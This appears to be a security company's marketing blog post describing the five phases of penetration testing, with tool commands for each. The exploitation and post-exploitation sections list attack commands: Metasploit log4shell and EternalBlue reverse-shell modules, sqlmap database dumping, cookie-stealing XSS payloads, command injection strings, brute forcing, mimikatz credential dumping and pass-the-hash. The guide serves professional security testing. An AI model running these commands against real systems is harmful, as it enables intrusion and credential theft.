Blog

5 Penetration Testing Phases: Tools, Techniques & Timelines

JP
subrosa Security Team
Recent
Share

Professional penetration testing follows a systematic five-phase methodology ensuring comprehensive security assessment. Each phase builds on the previous, progressing from information gathering through exploitation to detailed reporting. Understanding these phases helps organizations prepare for engagements and security teams execute thorough assessments.

This guide breaks down each penetration testing phase with specific tools, techniques, commands, timelines, and deliverables used by professional security testers. Based on industry frameworks including PTES (Penetration Testing Execution Standard), OSSTMM, and NIST SP 800-115.

The 5 Penetration Testing Phases

Standard penetration tests follow these sequential phases:

  1. Planning and Reconnaissance: Define scope, gather intelligence
  2. Scanning and Enumeration: Identify systems, services, vulnerabilities
  3. Exploitation: Attempt to gain unauthorized access
  4. Post-Exploitation and Maintaining Access: Escalate privileges, establish persistence
  5. Reporting and Analysis: Document findings, provide remediation guidance

Typical penetration testing engagement durations:

Phase 1: Planning and Reconnaissance

The planning phase establishes engagement rules, scope, and objectives while reconnaissance gathers intelligence about target systems. This phase typically consumes 15-20% of total engagement time.

Pre-Engagement Activities

Scoping and Rules of Engagement (ROE)

Organizations and testers define:

Goal Definition:

Clear objectives guide testing focus:

Passive Reconnaissance

Passive reconnaissance gathers publicly available information without directly interacting with target systems. This avoids detection and provides attacker perspective.

OSINT (Open Source Intelligence) Techniques:

Example Reconnaissance Commands:

DNS subdomain enumeration:

dnsrecon -d example.com -t std
subfinder -d example.com -silent
amass enum -d example.com

Technology fingerprinting:

whatweb https://example.com
wappalyzer https://example.com
builtwith https://example.com

Active Reconnaissance

Active reconnaissance directly interacts with target systems, gathering detailed information about infrastructure, services, and potential vulnerabilities.

Network Discovery:

Identify live hosts on target networks:

nmap -sn 192.168.1.0/24
masscan -p1-65535 192.168.1.0/24 --rate=10000
fping -a -g 192.168.1.0/24

Port Scanning:

Identify open ports and running services:

nmap -sS -sV -p- -T4 target.com
nmap -sC -sV -O target.com
nmap -A -p- target.com --script=vuln

Common flags explained:

Phase 1 Deliverables

Timeline: 1-3 days for typical engagement

Phase 2: Scanning and Enumeration

Scanning identifies vulnerabilities, misconfigurations, and weaknesses in discovered systems. This phase generates most of the raw data analyzed during exploitation.

Vulnerability Scanning

Automated vulnerability scanners test systems for known vulnerabilities:

Network Vulnerability Scanners:

Web Application Scanners:

Example Nikto scan:

nikto -h https://target.com -ssl -o report.html

Service Enumeration

Deep analysis of running services reveals configuration details, software versions, and potential vulnerabilities.

SMB Enumeration (Windows networks):

enum4linux -a target-ip
smbclient -L //target-ip -N
nmap --script smb-enum-shares,smb-enum-users target-ip

SNMP Enumeration:

snmpwalk -v2c -c public target-ip
onesixtyone -c community-strings.txt target-ip

Directory and File Enumeration:

Discover hidden directories, files, and administrative interfaces:

gobuster dir -u https://target.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
ffuf -u https://target.com/FUZZ -w wordlist.txt
dirsearch -u https://target.com -e php,asp,aspx,jsp

Manual Analysis

Experienced penetration testers supplement automated tools with manual analysis:

Manual testing discovers vulnerabilities automated scanners miss. Professional penetration testing combines automated and manual techniques for comprehensive coverage.

Phase 2 Deliverables

Timeline: 2-4 days depending on scope size

Phase 3: Exploitation

Exploitation attempts to gain unauthorized access by leveraging identified vulnerabilities. Professional testers prioritize exploits by risk, impact, and success probability.

Exploitation Frameworks

Metasploit Framework

Most widely-used exploitation framework with thousands of exploit modules:

msfconsole
search cve:2021-44228
use exploit/multi/http/log4shell_header_injection
set RHOSTS target.com
set LHOST attacker-ip
exploit

Metasploit provides:

Common Exploitation Techniques

Web Application Exploitation

SQL Injection example:

sqlmap -u "http://target.com/page?id=1" --dbs --batch
sqlmap -u "http://target.com/page?id=1" -D database --tables
sqlmap -u "http://target.com/page?id=1" -D database -T users --dump

Cross-Site Scripting (XSS) testing:

<script>alert(document.cookie)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>

Command Injection testing:

; ls -la
| whoami
& net user
`id`

Network Service Exploitation

EternalBlue (MS17-010) exploitation:

use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS target-ip
set payload windows/x64/meterpreter/reverse_tcp
exploit

Password Attacks

Brute force authentication:

hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://target-ip
medusa -h target-ip -u admin -P passwords.txt -M ftp
ncrack -U users.txt -P passwords.txt target-ip:3389

Password hash cracking:

john --wordlist=rockyou.txt hashes.txt
hashcat -m 1000 -a 0 ntlm-hashes.txt wordlist.txt

Exploitation Best Practices

Organizations conducting penetration tests should establish clear success criteria. Is the goal demonstrating single vulnerability exploitation, or achieving specific objectives like data access or privilege escalation?

Phase 3 Deliverables

Timeline: 3-7 days depending on exploitation complexity

Phase 4: Post-Exploitation and Maintaining Access

After initial compromise, testers escalate privileges, move laterally across networks, and establish persistent access simulating advanced persistent threat (APT) behavior.

Privilege Escalation

Linux Privilege Escalation:

Enumeration scripts identify escalation vectors:

wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
chmod +x LinEnum.sh
./LinEnum.sh -t

linpeas.sh
sudo -l
find / -perm -4000 -type f 2>/dev/null

Common Linux escalation techniques:

Windows Privilege Escalation:

winPEAS.exe
whoami /priv
net user
net localgroup administrators

Common Windows escalation techniques:

Lateral Movement

After compromising one system, testers pivot to additional systems using various techniques:

Pass-the-Hash Attacks:

pth-winexe -U domain/user%hash //target-ip cmd
crackmapexec smb target-range -u user -H hash --exec-method smbexec

Credential Dumping:

Extract passwords and hashes from compromised systems:

mimikatz.exe
sekurlsa::logonpasswords
lsadump::sam
hashdump

Pivoting:

Use compromised systems as jump points to reach isolated network segments:

ssh -D 9050 user@compromised-host
proxychains nmap -sT internal-network
meterpreter > autoroute -s internal-subnet
meterpreter > portfwd add -l 3389 -p 3389 -r internal-host

Persistence Mechanisms

Persistence ensures access survives reboots and logout, simulating APT behavior:

Linux Persistence:

Windows Persistence:

Professional penetration testers typically avoid aggressive persistence mechanisms in production environments, documenting theoretical persistence rather than implementing it to minimize risk.

Get Professional Penetration Testing

subrosa's OSCP and GPEN certified testers follow industry-standard methodologies ensuring comprehensive security assessments.

Schedule Penetration Test

Data Exfiltration

Testers demonstrate ability to steal sensitive data (while respecting data handling agreements):

Data handling protocols prevent actual data theft. Testers typically:

Phase 4 Deliverables

Timeline: 2-5 days depending on network complexity

Phase 5: Reporting and Analysis

Final phase synthesizes findings into comprehensive reports guiding remediation. Professional reports balance technical detail for security teams with executive summaries for business stakeholders.

Report Components

Executive Summary

Non-technical overview for leadership:

Technical Findings

Detailed vulnerability documentation including:

Attack Narrative

Chronological story showing how attacker progresses from initial access to objectives:

  1. Initial reconnaissance findings
  2. Vulnerability identification
  3. Exploitation and initial compromise
  4. Privilege escalation
  5. Lateral movement path
  6. Objective achievement (data access, domain admin, etc.)

This narrative helps organizations understand real-world attack chains beyond isolated vulnerabilities.

Remediation Prioritization

Professional reports prioritize fixes based on:

Typical remediation timeline recommendations:

Remediation Validation

Many penetration testing engagements include remediation validation (retesting):

Retesting typically occurs 30-60 days after initial report delivery, allowing time for patches, configuration changes, and infrastructure modifications.

Deliverables Presentation

Report delivery includes:

Phase 5 Deliverables

Timeline: 3-7 days for report writing and presentation

Penetration Testing Methodologies

Industry-standard methodologies guide systematic testing:

PTES (Penetration Testing Execution Standard)

Comprehensive framework covering pre-engagement, intelligence gathering, threat modeling, vulnerability analysis, exploitation, post-exploitation, and reporting.

OWASP Testing Guide

Specifically for web application security testing, covering authentication, authorization, session management, input validation, and business logic flaws.

NIST SP 800-115

Technical guide to information security testing published by National Institute of Standards and Technology, commonly used for federal compliance.

OSSTMM (Open Source Security Testing Methodology Manual)

Scientific methodology for security testing and analysis, focusing on operational security metrics.

Compliance-Driven Testing

Many organizations conduct penetration tests for compliance:

PCI DSS

HIPAA

SOC 2

Organizations requiring compliance assistance should ensure penetration tests meet specific regulatory requirements, including report format and auditor expectations.

Meet Compliance Requirements with Expert Testing

subrosa provides penetration testing meeting PCI DSS, HIPAA, SOC 2, and NIST requirements with comprehensive reporting.

Discuss Compliance Testing

Choosing a Penetration Testing Provider

When selecting penetration testing services:

Continuous Security Testing

Modern security programs extend beyond annual penetration tests:

Organizations with mature security programs conduct quarterly or semi-annual penetration tests supplemented by continuous monitoring.

Post-Test Actions

Maximizing penetration test value requires disciplined follow-through:

  1. Prioritize Remediation: Address critical findings within recommended timeframes
  2. Track Progress: Use findings matrix tracking fix status, ownership, target dates
  3. Request Retesting: Validate fixes are effective before considering findings resolved
  4. Update Security Controls: Apply lessons learned improving detection, response, architecture
  5. Train Teams: Use findings educating developers, administrators about secure practices
  6. Measure Improvement: Compare results across tests tracking security posture improvement

subrosa conducts comprehensive penetration testing following industry-standard methodologies (PTES, OWASP, NIST SP 800-115) with OSCP and GPEN certified testers. Our engagements include detailed technical reports, executive briefings, and remediation support ensuring organizations effectively address identified risks. We provide specialized testing across network infrastructure, web applications, wireless networks, cloud environments, and API security.

Ready for a Professional Penetration Test?

Get a comprehensive security assessment from our certified penetration testing team. We follow industry-standard methodologies ensuring thorough coverage and actionable results.

Need a Professional Penetration Test?
Get a comprehensive security assessment from certified testers.
Book Now